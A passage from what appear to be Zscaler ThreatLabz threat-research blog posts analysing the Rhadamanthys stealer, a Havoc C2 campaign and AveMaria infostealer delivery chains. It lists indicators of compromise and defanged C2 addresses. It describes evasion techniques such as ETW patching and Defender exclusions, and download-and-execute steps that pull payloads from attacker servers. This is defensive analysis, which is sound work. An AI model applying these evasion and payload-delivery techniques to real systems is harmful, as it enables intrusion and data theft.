Entry_Point_Offset; unsigned int Stager_Size; unsigned int Imports_Offset; unsigned int Imports_Size; unsigned int Unknown1; unsigned int Unknown2; unsigned int Relocation_Table_Offset; unsigned int Relocation_Table_Size; section Stager_Sections[5]; }; struct section { unsigned int Disk_Section_Offset; unsigned int Rva_Section_Offset; unsigned int Section_Size; }; Embedded File System When Rhadamnthys compromises a 64-bit host, the loader decompresses (LZMA) an embedded file system. The embedded file system includes several modules that aim to assist the execution process of the main module. The structure of the file system and its embedded modules along with a description of them (Table 2) are mentioned below. struct loader_embedded_vfs { unsigned char hardcoded_value; // Set to 0xB unsigned char num_of_modules; unsigned __int16 base_Address; module_info modules[num_of_modules]; }; struct module_info { unsigned int module_hash; // MurmurHash. Used to detect the module. unsigned char module_size_offset; // The byte is left shifted with the value 0xc. }; Module Name Description prepare.bin Applies relocations and dynamic API loading. dfdll.dll Executable file written on disk. It loads and executes the downloaded payload. unhook.bin Detects if specified Windows API functions of NTDLL library have been hooked. phexec.bin Injects code by using the SYSENTER command while calling Windows API functions. Table 2 - Identified embedded modules NOTE: In case of a 32-bit compromised host, none of the above modules are required. Instead, Rhadamanthys generates a key by doing a bitwise XOR operation of the first byte of the downloaded module with the hard-coded byte value 0x21. The output is used as an XOR key to decrypt the first 108 bytes (header) of the downloaded payload Main module Similarly with the loader component, the main module has its own set of modules and components. As can be seen in Table 3, the main module has a variety of embedded components. Module Name Description KeePassHax C# module to exfiltrate credentials of password management software KeePass. Stubmod Assists with communication between modules and Coredll by using a named PIPE. Stub Loads and executes the main module from disk. Coredll Main orchestrator. Preload Executes Coredll. Runtime C# module to execute PowerShell scripts. Stubexec Module, which injects code to another process (regsvr32). /etc/license.key Unknown. Potentially related to a license key. /etc/puk.key Elliptic Curve (NIST P-256) public key /extension/%08x.lua A set of LUA scripts, which are used for extracting credentials. Table 3 - Main module embedded components Furthermore, instead of using hardcoded offsets to detect and extract them, Rhadamanthys uses the MPQ hashing algorithm to hash the name of the embedded component and generate a set of hashes. Then, it uses these hashes to scan its own memory in order to detect the appropriate component. Network Communication In both the main module and the loader, the network communication is encrypted. This is achieved by generating at runtime a private/public pair of Elliptic Curve keys (NIST P-256 curve) and sending the public key to the command-and-control server. In the case of the loader, the public key is appended to the ‘Cookie’ and ‘CSRF-TOKEN’ headers. On the other hand, the main module uses the Websocket protocol. In that case, the main module sends the public key as soon as the communication has switched the protocol. In addition to the above, in recent versions, the loader uses as a ‘Host’ header the domain catalog.s.download.windowsupdate.com. Once the loader has sent the HTTP request to download the main module, the command-and-control server replies with a JPEG image, which contains the (encrypted) main module. The structure of the received image is the following: struct Downloaded_Payload { unsigned char JFIF_Header[0x14]; unsigned int Encrypted_Payload_Size; unsigned char Expected_SHA1[0x14]; // Expected SHA-1 value once payload is decrypted. unsigned char Key_Salt[0x20]; // Used for deriving the RC4 key unsigned char public_key[0x40]; unsigned __int16 Marker; // 0xFFDB }; The encrypted payload, which is located after the image data, has two layers of encryption. In the first layer, the derived shared secret and the key salt are hashed (SHA-1) and the output is used as an RC4 key. The decrypted output reveals a new structure that matches the Hidden Bee format shown below: struct payload_layer_1 { unsigned int magic; // set to !Rex unsigned int module_size; unsigned int module_data_offset; unsigned char module_loader_shellcode[]; unsigned char module[module_size]; }; Lastly, Rhadamanthys executes the main module’s shellcode loader, which derives an AES key from the public key along with the salt value of the configuration structure and decrypts the last layer of the main module. The decrypted output is then decompressed with the LZSS algortihm. NOTE: The expected decrypted output should start with the string ‘!HADES’ It should be noted that despite using a secure encryption algorithm to safeguard the network communications, the procedure that Rhadamanthys uses to generate the Elliptic Curve keys suffers from a serious bug. Upon execution, it calls the C function time to get the current epoch time of the compromised machine followed by a call to the srand function with the epoch time as a seed. Finally, it generates the secret scalar value by calling the C function rand. As a result, we can brute-force the generated keys if we have a network capture of the first request to the server, which contains both the public key and the epoch time. Cloud Sandbox Detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to Rhadamanthys at various levels with the following threat names: WIN32.PWS.Rhadamanthys Indicators of Compromise Host Indicators SHA256 Hash Description 3300206b9867c6d9515ad09191e7bf793ad1b42d688b2dbd73ce8d900477392e Rhadamanthys Loader aebb1578371dbf62e37c8202d0a3b1e0ecbce8dd8ca3065ab26946e8449d60ae Rhadamanthys Loader 9917b5f66784e134129291999ae0d33dcd80930a0a70a4fbada1a3b70a53ba91 Rhadamanthys Loader Network Indicators IOC Description hxxp://45[.]66.151.81/blob/xxx.png Command-and-Control server hxxp://141[.]98.82.254/blob/is4mlw.suqp Command-and-Control server hxxp://85[.]208.136.26/blob/vpuu9i.7b4x Command-and-Control server Tue, 21 Feb 2023 08:21:36 -0800 Nikolaos Pantazopoulos https://www.zscaler.com/blogs/security-research/technical-analysis-rhadamanthys-obfuscation-techniques https://www.zscaler.com/blogs/security-research/havoc-across-cyberspace Zscaler ThreatLabz research team observed a new campaign targeting a Government organization in which the threat actors utilized a new Command & Control (C2) framework named Havoc. While C2 frameworks are prolific, the open-source Havoc framework is an advanced post-exploitation command and control framework capable of bypassing the most current and updated version of Windows 11 defender due to the implementation of advanced evasion techniques such as indirect syscalls and sleep obfuscation. The technical analysis that follows provides an overview of recently discovered attack campaign targeting government organization using Havoc and reveals how it can be leveraged by the threat actors in various campaigns. Key Observations: Observed New threat campaign leveraging the open-source Havoc C2 framework targeting Government organization Analysis of Havoc Demon - Implant generated via the Havoc framework ShellCode Loader: Disables the Event Tracing for Windows (ETW) to evade detection mechanisms. Decrypts and executes the shellcode via CreateThreadpoolWait() KaynLdr Shellcode: Reflectively loads the Havoc’s Demon DLL without the DOS and NT headers to evade detection. Performs API hashing routine to resolve virtual addresses of various NTAPI's by using modified DJB2 hashing algorithm Demon DLL: Parsing configuration files Usage of Sleep Obfuscation Techniques Communication with the CnC Server - CheckIn Request and Command Execution Performs In-Direct Syscalls and Return Address Stack Spoofing and more Performed tracking of the threat actor based on infrastructure analysis and opsec blunders where we gathered and analyzed the screenshots of the threat actors machine from the CnC due to self-compromise. Table Of Contents: Campaign Infection Chain Analysis Analysis of Havoc Demon Tracking the threat actor - Infrastructure and Opsec blunders Indicators Of Compromise Campaign: In the beginning of January, this year, we discovered an executable named “pics.exe” in the Zscaler Cloud targeting a Government Organization. The executable was downloaded from a remote server: “146[.]190[.]48[.]229” as shown in the screenshot below Fig 1. Campaign - Zscaler Cloud Let us now examine the infection chain used by the threat actors in the following campaign to deliver the Havoc Demon on the target machine. Infection Chain Analysis: Fig 2. Infection chain The infection chain utilized by the threat actors for delivering the Havoc Demon on the target machines commences with a ZIP Archive named “ZeroTwo.zip” consisting of two files “character.scr” and “Untitled Document.docx” as shown in the screenshot below. Fig 3. ZIP Archive Here the “Untitled Document.docx” is a document consisting of paragraphs regarding the “ZeroTwo” which is a fictional character in the Japanese anime television series Darling in the Franxx. Fig 4. Contents of the Document bundled in the ZIP Archive Further the screen saver file “character.scr” is basically a downloader commissioned to download and execute the Havoc Demon Agent on the victim machine. The Downloader binary is compiled using a BAT to EXE converter “BAT2EXE” which allows users to convert Batch scripts into executables as shown in the screenshot below. The BAT2EXE argument can be seen in the downloader binary. Fig 5. BAT2EXE argument used in the downloader binary Once executed the BAT2EXE compiled binary loads and decrypts the Batch Script from the .rsrc section as shown in the screenshot below. Fig 6. Decrypted BAT Script The binary then writes and executes the decrypted BAT script from the Temp folder as shown in the image below. Fig 7. Decrypted BAT Script written in the Temp folder The Decrypted BAT Script upon execution performs the following tasks: Checks whether “teste.exe” exists in the Temp folder, if not, it downloads the final payload from http[:]//146[.]190[.]48[.]229/pics.exe and saves it as “seethe.exe” in the Temp folder via Invoke-WebRequest and then executes it using “start seethe.exe” Fig 8. Downloads the final payload “pics.exe” from remote server via Invoke-WebRequest Then it checks whether “testv.exe” exists in the Temp folder, if not, it downloads an image from “https[:]//i[.]pinimg[.]com/originals/d4/20/66/d42066e9f8c4b75a0723b8778c370f1d.jpg” and saves it as images.jpg in the Temp folder and opens it using images.jpg. Fig 9. Downloads a JPG image from pinimg[.]com The following image of the “Zero Two” character was downloaded from pinimg[.]com & executed in order to conceal the actual execution and malicious activities performed by the final payload. Fig 10. Zero Two Image downloaded from pinimg[.]com Before analyzing the final payload, let’s take a look at another similar Downloader compiled via BAT2EXE named “ihatemylife.exe”, in this case, the decrypted Batch script downloads the final payload from “https[:]//ttwweatterarartgea[.]ga/image[.]exe” using Invoke-WebRequest alongside the payload it also downloads an image to conceal the malicious activities as shown in the screenshot below. Fig 11. Decrypted Batch scripts downloads the final payload from https[:]//ttwweatterarartgea[.]ga Fig 12. Image Downloaded by the Batch Script to conceal malicious activities Now let’s analyze the final In-the-Wild “Havoc Demon” payload which was downloaded via the Downloader named “character.scr” from http[:]//146[.]190[.]48[.]229/pics.exe as explained previously. Havoc Demon is the implant generated via the Havoc Framework - which is a modern and malleable post-exploitation command and control framework created by @C5pider. Fig 13. The Havoc Framework Fig 14. Havoc Framework - Interface Shellcode Loader: The Downloaded payload “pics.exe” is the “Shellcode Loader” which is signed using Microsoft’s Digital certificate as shown in the screenshot below Fig 15. Microsoft Signed Executable Upon execution the Shellcode Loader at first disables the Event Tracing for Windows (ETW) by patching the WinApi “EtwEventWrite()” which is responsible for writing an event. ETW Patching process: Retrieves module handle of ntdll.dll via GetModuleHandleA Retrieves address of EtwEventWrite via GetProcAddress Fig 16. Fetches the address of EtwEventWrite Further it changes the protection of the region via VirtualProtect and then overwrites the first 4 bytes of the EtwEventWrite with following bytes: 0x48,0x33,0xc0,0xc3 (xor rax,rax | ret) Fig 17. Overwriting bytes to patch EtwEventWrite By patching the EtwEventWrite function the ETW will not be able to write any events thus disabling the ETW. Then the payload AES decrypts the shellcode using CryptDecrypt() as shown in the screenshot below - in this case the Algorithm ID used is “0x00006610” - AES256 Fig 18. AES Decrypts the Shellcode via CryptDecrypt Once the Shellcode is decrypted, the Shellcode is executed via CreateThreadpoolWait() where at first it creates an event object in a signaled state via CreateEventA(), then allocates RWX memory via VirtualAlloc() and writes the Shellcode in the allocated memory. Further it creates a wait object using CreateThreadpoolWait, here the first argument - callback function is set to the address of the shellcode. Then it set’s the wait object via the NtApi “TpSetWait” and at last calls the WaitForSingleObject which once executed checks if the waitable object is in signaled state, as our event was created in signaled state the callback function is been executed i.e the decrypted shellcode is been executed and the control flow is been transferred to the shellcode. Fig 19. Shellcode execution via CreateThreadpoolWait KaynLdr - Shellcode The Shellcode in this case is the “KaynLdr” which is commissioned to reflectively load the Havoc’s Demon DLL implant by calling its entrypoint function. Once the Shellcode is executed it retrieves the image base of the Demon DLL which is embedded in the shellcode itself by executing the following inline assembly function called KaynCaller. Fig 20. Retrieves the Image Base of the Embedded Demon DLL Further the KaynLdr performs the API Hashing routine in order to resolve the virtual addresses of various NTAPI’s by walking the export address table of the ntdll.dll (Function: LdrFunctionAddr) and initially the virtual address of the NTDLL.dll is been retrieved by walking the Process Environment Block (Function: LdrFunctionAddr) as shown in the screenshot below Fig 21. API Hashing Routine used by Havoc Demon Here the hashing algorithm used is a modified version of “DJB2” algorithm based on the constant “5381” or “0x1505” as shown in the screenshot below. Fig 22. Modified DJB2 Hashing Algorithm used in the API Hashing Routine Virtual Addresses for the following module and NTAPI’s are retrieved by using the API Hashing routine where the hardcoded DJB2 hashes are compared with the dynamically generated hash. 0x70e61753 ntdll.dll 0x9e456a43 LdrLoadDll 0xf783b8ec NtAllocateVirtualMemory 0x50e92888 NtProtectVirtualMemory Further the Embedded Demon DLL is memory mapped and the base relocations are calculated if required in an allocated memory page procured by calling the NtAllocateVirtualMemory(). Also the page protections are changed via multiple calls to NtProtectVirtualMemory as shown below. Fig 23. Memory Mapping of the embedded Demon DLL The Demon DLL is memory mapped in the Allocated memory without the DOS and NT Headers in order to evade detection mechanisms. Fig 24. Demon DLL is memory mapped without DOS and NT Headers Now once the Demon DLL is memory mapped the KaynDllMain i.e the entrypoint of the DLL is executed by the KaynLdr as shown below, from there on the control is transferred to the Havoc Demon DLL Implant. Fig 25. Entrypoint of the Demon DLL is been executed by the KaynLdr Analysis of Havoc Demon DLL: The entrypoint of the Havoc Demon DLL is executed by the KaynLdr as discussed previously. Now as the Havoc Demon has many features, we will only focus on a few of them in the following blog, as the features can be deduced from its source at: https://github.com/HavocFramework/Havoc So once the Havoc Demon is been executed there are four functions which are been executed by the DemonMain(): DemonInit DemonMetaData DemonConfig DemonRoutine The DemonInit is the initialization function which Retrieves the virtual addresses of functions from modules such as ntdll.dll/kernel32.dll by calling the API Hashing Routine discussed previously. Retrevies Syscall stubs for various NTAPI’s Loads various Modules via walking the PEB with stacked strings Initialize Session and Config Objects such as Demon AgentID, ProcessArch etc. Now let’s understand how the Configuration is being parsed via the DemonConfig() function. The Demon’s Configuration is been stored in the .data section as shown in the screenshot below Fig 26. Demon Configuration stored in the .data section The DemonConfig function parses the configuration by indexing the various required values from the config. Following is the configuration for the Demon DLL used in the campaign. Configuration: Sleep: 2 (0x2) Injection: Allocate: Native/Syscall (0x2) Execute: Native/Syscall (0x2) Spawn: x64: C:\Windows\System32\notepad.exe x86: C:\Windows\SysWOW64\notepad.exe Sleep Obfuscation Technique: Ekko (0x2) Method: POST Host: 146[.]190[.]48[.]229 Transport Secure: TRUE UserAgent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537/36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Fig 27. Demon Configuration - Host (CnC) and UserAgent parsed The DemonRoutine() function is the main loop for the malware, it is responsible for connecting to the command and control (C2) server, waiting for tasks from the server, executing those tasks, and then waiting again for more tasks and running indefinitely. It does the following things: First, it checks if it is connected to the C2 server. If not, it calls TransportInit() to connect to the server. If the connection is successful, it enters the CommandDispatcher() function, which is responsible for a task routine which parses the tasks and executes them until there are no more tasks in the queue. If the malware is unable to connect to the C2 server, it will keep trying to connect to the server again Now let’s understand how it connects to the TransportInit function: TransportInit() is responsible for connecting to the C2 server and establishing a session. It first sends the AES encrypted MetaData packet i.e the Check-in request generated via the DemonMetaData() function through the PackageTransmit() function, which could be sending data over HTTP or SMB, depending on the value of the TRANSPORT_HTTP or TRANSPORT_SMB macro. If the transmission is successful, it then decrypts the received data using AES encryption with a given key and initialization vector on the TeamServer. The decrypted data is then checked against the agent's ID, and if they match, the session is marked as connected and the function returns true. Fig 28. Metadata Structure - CheckIn Request TransportSend() is used to send data to the C2 server. It takes a pointer to the data and its size as input, and optionally returns received data and its size.It then creates a buffer with the data to be sent, and depending on the transport method, it either sends the data over HTTP or SMB. Fig 29. TransportSend Function Arguments With Encrypted Data of the Check In request On the Teamserver end the CheckIn request with the metadata packet is been decrypted and showcased on the terminal with both encrypted and decrypted details of packets sent and received Fig 30. Check In Request - Metadata packet parsed by the Team Server Command Execution: After the demon is deployed successfully on the target’s machine, the server is able to execute various commands on the target system. If the command "whoami" is issued to the payload, it would trigger the execution of the command and display the current user running the session.The server logs the command and its response upon execution. Fig 31. Command execution using Havoc GUI Once the command is executed on the victim machine, the command output is AES Encrypted and then sent to the CnC server, which is then decrypted by the TeamServer as shown in the screenshot below. Fig 32. Command Output Logs parsed by the TeamServer List Of Commands: The specific commands available in Havoc will depend on the version and configuration of the framework, but some common commands that are often included in C2 frameworks include: Fig 33. Commands List Further the Demon implements various techniques mentioned below which can be analyzed from the source: Return Address Stack Spoofing In-Direct Syscalls Sleep Masking Techniques Ekko FOLIAGE WaitForSingleObjectEx Tracking the threat actor - Infrastructure and Opsec blunders: The domain name “ttwweatterarartgea[.]ga” from where the final havoc demon payload “image.exe” is downloaded in this case resolves to the IP Address “146[.]190[.]48[.]229” - which is the IP address from where the final payload “pics.exe” was downloaded via the URL: http[:]//146[.]190[.]48[.]229/pics.exe previously. Whilst performing the infrastructure analysis we came across an open-directory on the server “ttwweatterarartgea[.]ga” where multiple demon & metasploit payloads along with internal logs and screenshots were hosted as shown in the screenshot below. Fig 34. Open Directory - “ttwweatterarartgea[.]ga” While examining the files on the open directory, we stumbled upon a HTML file named “NFcmoOSI.html”. The file displayed a screenshot of the threat actor’s machine as illustrated below. Fig 35. Tracking the threat actor - Metasploit Screenshare Based on our analysis, the threat actor detonated the meterpreter payload on its own machine and then used the CnC Server to initiate the Metasploit screenshare command.This action generated a file named "NFcmoOSI.html" on the server which contained a screenshot of the machine being shared along with the Target IP, Start Time and status of the screenshare. Further we were able to gather following information from the threat actors machine screenshot as highlighted below where the initial payload used in our campaign was present on the TAs machine along with the Havoc Demon implant and much more. Fig 36. Tracking the threat actor - Machine Screenshot Now based on the Target IP (i.e the threat actors IP) the location of that IP seems to be in New York, USA. Additionally, the temperature at the time of the screenshot: 1/12/2023 7:28PM was 50° Fahrenheit (Cloudy), after mapping the historical weather data of New York at that specific time we found that the average temperature was approx close to 50° degrees Fahrenheit during that time period. Fig 37. Tracking the threat actor - Temperature Alongside, we came across a log file named “wget-log” which consists of the wget log where the Document lure “Untitled-document.docx” was downloaded from the DropBox URL: “https://www.dropbox.com/scl/fi/hnlvrwbl9v2zadl356mt3/Untitled-document.docx” Fig 38. Tracking the threat actor - wget logs Also the HTML pages “index.nginx-debian.html” and “login.nginx-debian.html” are under-development Twitter phishing pages as shown in the screenshot below. Fig 39. Twitter Phishing Pages hosted on “ttwweatterarartgea[.]ga” Zscaler Cloud Sandbox Report: Fig 40. Cloud Sandbox Report Zscaler's multilayered cloud security platform detects indicators, as shown below: Win64.Backdoor.HavocC2 Conclusion: The Havoc C2 framework campaign highlights the importance of proper cybersecurity measures in today's digital world. The use of payloads and CnC servers to execute malicious commands and gather sensitive information showcases the ever-present threat of cyber attacks. The scenario described in the blog demonstrates the capabilities of such campaigns and the need for organizations to stay vigilant and protect their systems. With the rise of technology, the need for robust security solutions becomes increasingly vital, and organizations must take proactive steps to ensure the safety of their systems and data. Indicators Of Compromise: Havoc CnC: IP: 146[.]190[.]48[.]229 Domain: ttwweatterarartgea[.]ga Hashes: Pics.exe - 5be4e5115cdf225871a66899b7bc5861 Image.exe - bfa5f1d8df27248d840d1d86121f2169 Tue, 14 Feb 2023 08:09:24 -0800 Niraj Shivtarkar https://www.zscaler.com/blogs/security-research/havoc-across-cyberspace https://www.zscaler.com/blogs/security-research/dynamic-approaches-seen-avemarias-distribution-strategy Zscaler’s ThreatLabz research team diligently monitors and tracks active threat campaigns globally to rapidly detect new developments and proactively safeguard Zscaler customers. The seven case studies that follow provide an in-depth analysis of the AveMaria infostealer attack chain and how it has been shifting over the past six months. Key Takeaways AveMaria is a Remote Access Trojan (RAT) infostealer malware that targets sensitive data with added capabilities of remote camera control and privilege escalation. This stealer has been growing in popularity among threat actors since appearing in December of 2018. Over the past six months, researchers have observed significant changes and additions to the execution stages and Tactics, Techniques, and Procedures that characterize an AveMaria attack. AveMaria attacks are initiated via phishing emails, once the dropped payload infects the victim’s machine with the malware, it establishes communication with the attacker’s Command-and-Control (C2) server on non-HTTP protocol, after decrypting its C2 connection using RC4 algorithm. The most recent variation in the AveMaria attack chain technique leverages a custom downloader that decrypts a disguised payload by converting the value data type to another, known as type casting. Analysis of AveMaria 2022 Case Studies This section details different variations of the AveMaria stealer attack chain analyzed across samples discovered between July and December of 2022. The case studies included below specifically focus on how different file formats and techniques are used to execute the AveMaria end payload on the victim’s machine, instead of directly dropping and executing the malware. DECEMBER | .Vhd(x)_campaign In December, ThreatLabz researchers identified the AveMaria .Vhd(x) campaign. This campaign is defined by the discovery of a new execution technique that uses the Virtual Hard Disk file format to drop the malicious downloader payload in one of the two formats onto the victim’s machine. FIRST CASE STUDY .Vhd(x) campaign Targeting Kazakhstan Officials Fig. 1 - AveMaria .vhd(x)_campaign First Case Study attack chain In this scenario, phishing emails impersonating the Russian government targeted Kazakhstan officials with a malicious .vhdx file disguised as a fake meeting notice. Fig. 2 - Screenshot of a phishing email targeting Kazakhstan officials with malicious .vhdx file attachment designed to launch an AveMaria infostealer attack. Upon executing the attached .vhdx file, researchers observed the creation of a new system drive (see Tag 1 in Fig. 3 below) containing a malicious .lnk file, a decoy file, and other system related files (see Tag 2 in Fig. 3 below). Triggering the malicious shortcut file downloads another payload via curl command (see Tag 3 & 4 in Fig. 3 below) and drops the malicious file in the impacted system’s temp directory. Finally, execution of the final payload infects the victim’s machine with the AveMaria malware and enables attackers to gain access and take control. Fig. 3 - Behavioral analysis of the .vhdx file and shortcut file SECOND CASE STUDY Fig. 4 - AveMaria .vhd_campaign Second Case Study attack chain Under the same campaign, researchers observed another variation of the attack chain with a custom downloader and other system related files, as shown in Fig. 5 below. Unfortunately the phishing email for this case study is unavailable, so researchers can not identify the target of these attacks or deduce exactly how the initial payload (.vhd file) was delivered. Fig. 5 - Malicious payload file properties of custom downloader Stage 1: Custom downloader The custom downloader used in this AveMaria attack chain retrieves an encrypted file from a third party file sharing website and after downloading and decrypting in memory, it executes the decrypted version of the retrieved payload, which is in PE format. Because the downloaded payload comes as a data file it can successfully evade detections by AV engines. Fig. 6 - Shows the decryption logic to get the second stage payload in PE format. To build the downloaded file in PE format, the custom downloader makes use of type casting or type-conversion mechanism whereby different data types are used to manipulate the values at bit level. Manipulation of Bits Via Type Casting In C# programming, the byte data type is represented by an 8-bit unsigned integer, i.e. it only takes positive values and will ignore the signed bit associated with the value. In the current decryption scenario, the custom downloader gets the handle and an offset of an array and via “for loop” gets a byte value at particular offset, thereafter convert it to an integer data type and subsequently subtract it with the hardcoded value (which in our case is “585” and can be different in other cases) resulting in negative integer value. Then, the negative integer value gets converted to a byte data type. And the hex value of the byte data type will get substituted at the particular offset of an array. It is worth noting that the integer type holds 32-bits of data compared to a byte which holds only 8-bits of data. Converting any integer data type to a byte data type results in the computer only reading the last 8-bit value. For example, converting a hex value 0xB8 from the encrypted array holding “This program” string to an integer data type results in “184”, and subtracting it with “585”, the final value is “-401”, which is represented in binary as: “1111111111111111111111111111111111111111111111111111111001101111” Going the other way and converting the integer data type to byte data type, the system will read only the last 8-bit value, which in binary is “01101111”. So the hexadecimal value of the mentioned binary value will be “0x6F”, as shown below, and the converted ASCII value of “0x6f” is “o”, which is a part of the “This program” string. Fig. 7 - Calculation of bits manipulation Stage 2: Second stage DLL Dumping the decrypted file from memory, achieved in Stage 1, results in a .Net DLL binary without exports. The DLL binary consists of encrypted bytes under the resource section named “a”, passed as an argument to the decryption function to reveal the final AveMaria payload, as shown below. Fig. 8 - Decryption Code In Second Stage DLL This is the final stage of decryption, after which the AveMaria payload is executed and kicks-off C2 communications validating the successful execution of the malware on the victim’s machine. October | AUloader_campaign THIRD CASE STUDY Fig. 9 - AveMaria AUloader_campaign Third Case Study attack chain The third case study named AUloader was also observed by ThreatLabz researchers in October. It uses the same phishing email technique to distribute the main malicious binary. This campaign leverages a highly obfuscated Autoit script and Autoit interpreter to decrypt the AveMaria binary in memory and then execute the payload. The Autoit script is bundled into a self-executing compressed file or executable package known as the parent payload, which consists of all the required components to facilitate the execution of the main malware. The main components are: Vbscript: performs sandbox and AV emulator checks and provides the Autoit script to the interpreter. Autoit Interpreter: runs the script. Autoit Script: contains highly obfuscated payload decryption and malware execution logic. Note: The bundled payload might include or consist of decoy and junk files, with no relevance to the malware or to the attack execution flow. The related phishing email analyzed during this case study (shown below) invites the recipient to submit a competitive quotation offer for an unidentified tender. Requesting a quote is a common practice businesses use to procure fair goods and services. However in this case, the attached zip file sent with the email invitation is malicious and designed to result in an AveMaria infostealer attack. Fig. 10 - Phishing email imitating to be a Tender Invitation After extracting the payload from the attached zip file the bundled parent payload is revealed. The file artifacts and its execution flow are as follows: Tag1: File is compressed (bundled payload). Tag2: Drops malicious and decoy files on execution. Tag3: Parent file calls wscript.exe with an argument of dropped malicious vbscript file. The vbscript file then calls out the malicious Autoit script with the interpreter. The execution of Autoit script then leads to process injection of malware into a legitimate file. Tag4: Payload loaded in RegSvcs.exe memory. Tag5: Obfuscated Autoit script. Fig. 11 - Behavior flow of the extracted file September | Phishing Campaign Targeting Serbian Citizens and Vbs_campaign Purchase Order Scam In September, researchers discovered two different AveMaria malware delivery phishing campaigns, first an e-identification portal login credential scam that targets Serbian citizens and second a purchase order scam requesting an invoice payment. FOURTH CASE STUDY Phishing Email campaign targeting Serbian Citizens Fig. 12 - AveMaria Fourth Case Study attack chain In this campaign, Serbian citizens were targeted with a phishing email impersonating the government of Serbia and prompting them to update and store new login credentials for access to the government e-identification portal. Fig. 13 - Phishing email impersonating eID.gov.rs Eligible citizens of Serbia and foreign nationals use an e-identification portal to register for eCitizenship which gives them single-sign on access to all related government portals from a single platform. Fig. 14 - Legitimate Serbian eCitizen registration site The attached zip file (see Fig. 13) contains the malicious AveMaria payload, which when executed creates a copy of itself at the %userprofile%\document location. To further evade detection by Windows defender at runtime, the malware author(s) added the functionality to exclude the whole drive prior to the initialization of the copied file for further infection, via powershell command as shown below. Fig. 15 - Attackers evade detection by Windows defender by adding this drive exclusion powershell command Once the malicious packed binary, named Adobe5151.exe, is executed, it decrypts the end payload, steals user sensitive information and establishes C2 communication for performing exfiltration of the stolen data. FIFTH CASE STUDY vbs_campaign or Purchase Order Scam Fig. 16 - AveMaria vbs_campaign Fifth Case Study attack chain In the same month, researchers discovered another phishing campaign imitating a generic purchase order payment request with a malicious payload disguised as a fake invoice attached to the email. A key differentiator in this particular attack chain is the various stages of obfuscation and execution. Fig. 17 - Phishing email Extracting the vbscript from the attached zip file what looks like a pdf filetype but appears with a script file icon, which serves as an indicator that the file is in fact a script disguised as a pdf. Fig. 18 - Extracted vbscript file appears to have a .pdf filetype extension with a mismatched script file icon Stage 1: VBscript The vbscript (see Star 1 in the screenshot below) which is in an obfuscated format, on execution, calls out powershell.exe with commands consisting of two downloading urls (see Star 2 in the screenshot below). Fig. 19 - Vbscript file artifacts and behavior The interesting fact is that the vbscript provided only two downloading urls (as an input), but as can be seen above (see Star 3 in Fig. 19), three files were downloaded and all of them are obfuscated in some or the other manner. The downloaded files were all base64 encoded, which after decoding turns out to be an injector .Net binary dll (base64 encoded) a supporting dll (base64 encoded filled with replaceable value) AveMaria payload in reversed base64 encoded format Stage 2 : Injector DLL Decoding the dll2.txt file reveals a dotnet DLL binary that acts as a downloader and injector to execute the end payload. Instead of directly downloading and executing the malware onto the system, threat actors use a custom binary to download supporting DLL and restore the same. Subsequently, it downloads the reversed base64 encoded AveMaria payload and puts it back to base64 format. Once all the required files are in place, the same will be used to perform process injection as shown below. Fig. 20 - Code inside custom downloader Stage 3: Actual AveMaria binary The file named jfgfhhjhgjkj.txt is the actual AveMaria payload, downloaded in the reversed base64 encoded format. After restructuring and decoding, the main payload is revealed. The screenshot below shows the file properties and strings present inside the malicious payload. Fig. 21 - File properties showing malicious AveMaria payload artifacts August | Phishing Campaign Targeting Ukraine Officials SIXTH CASE STUDY Fig. 22 - AveMaria Sixth Case Study attack chain In August, researchers observed a new phishing campaign targeting Ukrainian officials impersonating a representative from the Ukrainian Department of Economic Policy and Strategic Planning. The featured phishing emails included an ISO file attachment containing the malicious AveMaria payload along with three decoy documents and four shortcut files. Fig. 23 - Phishing email impersonating a representative of the Ukrainian Department of Economic Policy and Strategic Planning All the shortcut files examined from the attached ISO file in this campaign contain the same powershell command that searches for a hardcoded filename in each drive, as shown below. Fig. 24 - PowerShell Commands in shortcut file The file named gov12.exe is the actual Avemaria executable which on execution creates a copy of itself with the hardcoded filename images.exe at %userprofile%\documents folder location, adds run key in the registry to achieve persistence and then initiates the copy for further infection. Fig. 25 - Persistence JULY | mshta_campaign SEVENTH CASE STUDY Fig. 26 - AveMaria Seventh Case Study attack chain In the seventh case study attack chain, researchers observed that the “System Binary Proxy Execution” detection evasion technique is used for executing the end payload. A malicious HTA file consisting of a vbscript code under <script> tag, is used to download the end payload. The phishing email file associated with this attack chain was unavailable, but we anticipate that the .iso file is being distributed as an attachment only. Stage1: Shortcut files The shortcut files extracted from the attached ISO file consist of a powershell command and some obfuscated code decrypted at runtime by the powershell binary. Executing shortcut files downloads malicious .hta extension file and thereafter executes the latter via mshta.exe. Fig. 27 - Shortcut file artifacts and behavior Stage 2: HTA file generating third stage powershell code The .hta file consists of a vbscript under <script> tag generates an obfuscated third stage powershell code when executed and then the latter is passed as an argument to legitimate powershell binary for further execution. Fig. 28 - Obfuscated third stage powershell script Stage 3: Generated PowerShell code After researchers decoded and beautified the obfuscated script a legible powershell script was revealed containing the following key functions: 1.) Main function: contains the logic to check for file at %appdata% folder (see blue bracket on the right in the screenshot below) if true, then execute the same via “Invoke-item” command. If false, then logic to download and execute the same. 2.) Decoding function: contains the logic to decode encoded data (see red box in the screenshot below) 3.) Downloading function: contains code related to initiating web connection object which downloads the files (see green box in the screenshot below) Fig. 29 - Decrypted and beautified version of powershell script The powershell script shown above downloads and executes the AveMaria stealer malware onto the target system in the last stage of the attack. Note: In this attack, a website was compromised to host malicious payloads. Summary From the case studies detailed in this analysis, it is evident that the developers of the AveMaria infostealer are actively maintaining the malware and updating the phases and stages of execution with new techniques to ensure the stealer remains relevant by evading detection. While examining the various TTPs over a span of six months, ThreatLabz researchers observed a multitude of changes to the AveMaria malware distribution mechanisms typically updated monthly, so that even if one mechanism is flagged by security operators the others can still be applied effectively. Zscaler Coverage Zscaler Sandbox detected and analyzed the full behavior of the different files, showcasing threat scores and number of MITRE ATT&CK techniques triggered, as shown in the below screenshots. Fig. 30 - Windows shortcut file from .vhd(x)_campaign First Case Study Fig. 31 - Downloader file of .vhd(x)_campaign Second Case Study Fig. 32 - HTA file of mshta_campaign Zscaler’s multilayered cloud security platform detects payloads with following threat names: PS.Downloader.AveMaria VBS.Downloader.AveMaria LNK.Downloader.AveMaria Win32.Downloader.AveMaria Win32.PWS.AveMaria Indicators of Compromise (IOCs) 1. Vhd(x)_campaign Case 1: [+] MD5: 18e7c1ff7bbb4816e53315546397543b = eml 